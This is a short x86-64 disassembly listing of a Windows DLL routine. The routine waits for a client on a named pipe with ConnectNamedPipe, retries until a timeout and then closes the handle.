or rax, 0xffffffffffffffff
jmp 0x18000ab67
call fcn.1800065a4
mov edi, eax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x18000ab64
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x217
je 0x18000ab64
mov ecx, 1
call fcn.180006548
call fcn.1800065a4
sub eax, edi
cmp eax, dword [rsi + 4]
jb 0x18000ab27
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000ab1a
mov rax, rbx
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret